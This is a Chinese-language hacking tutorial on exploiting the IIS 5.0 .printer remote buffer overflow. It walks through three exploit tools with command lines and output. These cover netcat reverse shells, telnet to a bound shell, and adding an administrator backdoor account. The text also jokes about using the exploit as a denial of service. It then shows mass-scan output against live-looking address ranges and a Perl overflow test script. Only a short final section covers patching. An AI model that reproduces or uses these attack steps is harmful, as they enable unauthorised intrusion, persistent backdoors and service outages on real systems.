IIS ISAPI Printer远程溢出攻击

类别:软件工程 点击:0 评论:0 推荐:

国产.printer远程溢出攻击软件使用实例
1、小榕的IIS5Exploit
严格地说,这软件并不是小榕写的,这软件是小榕根据jill.c改编优化部分代
码编译出来的。不过这软件确实很好,特别推荐大家使用。
下载地址http://www.netxeyes.com/IIS5Exploit.zip
压缩包里含有三个文件IIS5Exploit.exe、nc.exe、readme.txt
IIS5 .Printer Exploit 使用说明
-----------------以下是readme.txt的内容
本程序适用于英文版IIS 5.0
1、首先在本机用NC开一个监听端口。
C:\>nc -l -p 99
2、运行IIS5Exploit
D:\>jill xxx.xxx.xxx.xxx 211.152.188.1 333
===========IIS5 English Version .Printer Exploit.===========
===Written by Assassin 1995-2001. http://www.netXeyes.com===
Connecting 211.152.188.1 ...OK.
Send Shell Code ...OK
IIS5 Shell Code Send OK
其中211.152.188.1指向本地IP。
稍等片刻,如果成功在本机NC监听的端口出现:
C:\>nc -l -p 99
Microsoft Windows 2000[Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\>
可以执行命令。如:
C:\>net user hack password /add
The command completed successfully.
C:\>net localgroup administrartors hack /add
这样就创建了一个属于Administrator组的用户Hack,密码为password.
-----------------------------------------------------------------
使用说明解释:
使用这软件实际上要开两个MS-DOS窗口,首先运行nc -l -p 99 当然也可以
把端口定义为其他的,建议把开的端口改高些,避免在测试的同时恰好别人
在扫描你的端口,影响你正常的测试,小榕在写这说明时也许很急,写运行
运行IIS5Exploit也没写好,正确的是
IIS5Exploit 目标主机的IP 攻击者IP 99(要与自己NC开的端口一致)
为了攻击的成功率高,首先必须要明确所攻击的目标主机一定是开有
http\https服务的win2k。我们可以通过telnet目标主机的80端口get index.htm
来判断对方win2k的版本是不是Microsoft Windows 2000[Version 5.00.2195]
也可以用eyas提供的ScanPrinter来扫描获得。

2、sunx.org提供的iis5hack
下载地址http://www.sunx.org/mysoft/iis5hack.zip
运行参数
iis5hack <目标主机IP> <WEB端口80> <主机类型>

  中文WIN2K:      0
  中文WIN2K sp1:    1
  英文WIN2K:      2
  英文WIN2K, sp1:    3
  日文WIN2K:      4
  日文WIN2K, sp1:    5

E:\HACK\print>iis5hack 63.110.130.66 80 3
iis5 remote .printer overflow. writen by sunx
  http://www.sunx.org
  for test only, dont used to hack,
connecting...
sending...
Now you can telnet to 99 port
good luck

c:\telnet 63.110.130.66 99
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
已经进入目标主机,你想干什么就是你的事啦。该软件的优点是针对多种语
言版本的WIN2K系统,缺点,溢出成功后目标主机的IIS停止服务,并且得到
SHELL后要在较短时间内完成你想做的事,时间长的话连SHELL、IIS都会死
掉;不能随意定义目标主机的SHELL端口。
在退出TELNET服务时也一定要记住正常exit退出,否则目标主机的IIS也会死。
呵呵,我在测试过程中发现只是两三分钟时间对方的IIS就死了,看来把这软
件当做拒绝服务攻击型的软件也不错哦。

3、isno.yeah.net提供的cniis、iisx
isno最新的.printer漏洞攻击软件是iisx,是CNIIS的升级版本,按找作者的
使用说明我们可以看到:
使用方法: iisx <目标主机> <sp> <-p|-a|-r attackhost attackport>
   
     sp: 0 --- 目标没有安装SP , 1 --- 目标安装了SP1

提供三种对IIS5 .printer漏洞的攻击方式:
  
-p --- 对攻击目标运行iisx 66.77.88.99 0 -p
   在66.77.88.99上开一个端口7788,可以直接telnet 66.77.88.99 7788

-a --- 对攻击目标运行iisx 66.77.88.99 0 -a
   在66.77.88.99上添加一个管理员帐号:hax,其密码也为hax,
   可以使用net use \\66.77.88.99\ipc$ "hax" /user:"hax"建立连接。

-r --- 反向连接(类似于jill的方式),具体实施方法如下:

   例如先在一台机器111.222.333.444上运行nc -vv -l -p 5432,
   然后对攻击目标运行iisx 66.77.88.99 0 -r 111.222.33.444 5432,
   这时在111.222.333.444就会出现来自66.77.88.99的连接。
---------------------------------
对于该软件,我没有做他多的测试,不过我们可以看到,其第一种方法和SUNX的
IIS5HACK是一样的,只不过定制溢出的TELNET端口不同,对于固定溢出端口,我
总觉得不是那么好,至少在你测试的时候别人也在扫描相同的主机时,你的行为
就很容易被人发现。
对于第二种方法,只能攻击那些安全技术非常贫乏的网络管理员了,因为添加这
样一个密码和用户ID都一样的超级用户都能成功的话,对方也就很该死了,因为
那管理员连密码长字节和特殊字符化都不设定,那水平就可想而知了。
对于第三种攻击方法和jill.c差不多,所以也不再做详细介绍。

四、一些扫描.printer漏洞的程序测试
1、eyas编写的扫描程序cgicheck
eyas我一个很好的朋友,一个很有进取精神的小伙子,现在在国内某安全公司
工作,在微软的.printer漏洞公告出来后就写了一个专门扫描该漏洞的工具
scanprinter,由于时间仓促,那软件尽管可以扫描该漏洞,但在定制扫描线程
和超时延迟方面没有写好,使用起来不是那么如意。
本来想介绍他的scanprinter,恰好在我写到这部分内容时,他给我E来他的新
作品cgicheck,这也是个测试版的DOS命令工具,从文件名我们可以看到,他打
算把这软件写成类似twwwscan那样的cgi漏洞扫描工具。
现在让我们看看使用效果。
以下是运行在AMD850 128MB 64KISDN WIN98SE 下的扫描情况。
E:\>CGICHECK 203.212.4.1 203.212.4.255 100 4
[203.212.4.18  ] has .printer mapped.
[203.212.4.19  ] has .printer mapped.
[203.212.4.227 ] has .printer mapped.
******** 100% Wait 4 seconds to exit ********
[203.212.4.237 ] has .printer mapped.
[203.212.4.238 ] has .printer mapped.

All done.

Complete.Scan 254 targets use 15.8 seconds.Speed 16.1/s

从扫描结果来看这软件确实有很大的提高,建议EYAS在以后软件的升级中让软
件可以自定义所需要扫描的内容,毕竟在针对某网段的扫描,我们不需要把所
有的CGI漏洞都扫描(要知道有些漏洞已经很少看见了,加进去只耽误扫描的效
率)。

2、pl扫描程序
我们看以下的一个用perl编写的扫描程序
#!/usr/bin/perl
# Exploit By [email protected]
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol
# This code was written after eEye brought this issue in BugTraq.
use Socket;
print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";
if (not $ARGV[0]) {
print qq~
Usage: webexplt.pl <host>
~;
exit;}
$ip=$ARGV[0];
print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0\n" . "Host:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");
print "Results:\n";
if (not @results) {
print "The Machine tested has the IPP Vulnerability!";
}
print @results;
sub sendexplt {
    my ($pstr)=@_;
$target= inet_aton($ip) || die("inet_aton problems");
   socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
        die("Socket problems\n");
    if(connect(S,pack "SnA4x8",2,80,$target)){
        select(S);       
$|=1;
        print $pstr;      
my @in=<S>;
     select(STDOUT);
    close(S);
        return @in;
    } else { die("Can't connect...\n"); }
}

---------------------------------------------------------------
实际上这扫描程序是一个比较简单的pl扫描,命令格式webexplt.pl ip
只能针对某一IP地址进行检测,通过发送GET /NULL.printer HTTP/1.0\n
请求,然后传送一超长字符串给目标主机,去检测是否存在.printer漏洞。

3、其他的一些扫描软件例如www.netguard.com.cn、www.xfocus.org
发布的easyscan、x-scaner都专门做了针对printer漏洞的扫描,大家可以
试试。

5、漏洞的消除
最好的办法是安全微软针对这漏洞发的补丁:
补丁下载地址:
http://www.microsoft.com/Downloads/...ReleaseID=29321

在你无法获得补丁的情况下,我们也可以通过手动的方式设置你的服务器:
设置》控制面板》管理工具》INTERNET服务管理器》右键单击你的站点
如我的是badboy-f5gzewyd》属性》编辑WWW服务》主目录》配置》
应用程序配置》找到.printer》清除
但这样的操作你就丧失网络打印的功能。
呵呵,总比被人利用这漏洞入侵要好呀。

本文地址:http://com.8s8s.com/it/it31537.htm